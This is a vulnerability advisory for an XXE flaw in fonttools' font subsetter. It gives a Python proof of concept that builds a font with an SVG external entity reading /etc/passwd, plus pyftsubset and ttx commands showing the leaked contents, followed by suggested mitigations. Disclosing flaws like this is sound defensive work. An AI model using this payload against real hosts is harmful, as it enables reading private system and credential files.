fonttools XML External Entity Injection (XXE) Vulnerability
### Summary
As of `fonttools>=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed.
This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system.
### PoC
The vulnerability can be reproduced following the bellow steps on a unix based system.
1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.
```python
from string import ascii_letters
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
from fontTools.ttLib import newTable
XXE_SVG = """\
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<svg xmlns="
http://www.w3.org/2000/svg" xmlns:xlink="
http://www.w3.org/1999/xlink">
<g id="glyph1">
<text font-size="10" x="0" y="10">&test;</text>
</g>
</svg>
"""
def main():
# generate a random TTF font with an SVG table
glyph_order = [".notdef"] + list(ascii_letters)
pen = TTGlyphPen(glyphSet=None)
pen.moveTo((0, 0))
pen.lineTo((0, 500))
pen.lineTo((500, 500))
pen.lineTo((500, 0))
pen.closePath()
glyph = pen.glyph()
glyphs = {g: glyph for g in glyph_order}
fb = FontBuilder(unitsPerEm=1024, isTTF=True)
fb.setupGlyphOrder(glyph_order)
fb.setupCharacterMap({ord(c): c for c in ascii_letters})
fb.setupGlyf(glyphs)
fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})
fb.setupHorizontalHeader()
fb.setupOS2()
fb.setupPost()
fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"})
svg_table = newTable("SVG ")
svg_table.docList = [
(XXE_SVG, 1, 12)
]
fb.font["SVG "] = svg_table
fb.font.save('poc-payload.ttf')
if __name__ == '__main__':
main()
```
2. Subset the font with an affected version of fontTools - we tested on `fonttools==4.42.1` and `fonttools==4.28.2` - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):
```shell
pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs
```
3. Read the parsed SVG table in the subsetted font:
```shell
ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx
```
Observed the included contents of the `/etc/passwd` file.
### Impact
Note the final severity is dependant on the environment fontTools is running in.
- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on
### Possible Mitigations
There may be other ways to mitigate the issue, but some suggestions:
1. Set the `resolve_entities=False` flag on parsing methods
2. Consider further methods of disallowing doctype declarations
3. Consider recursive regex matching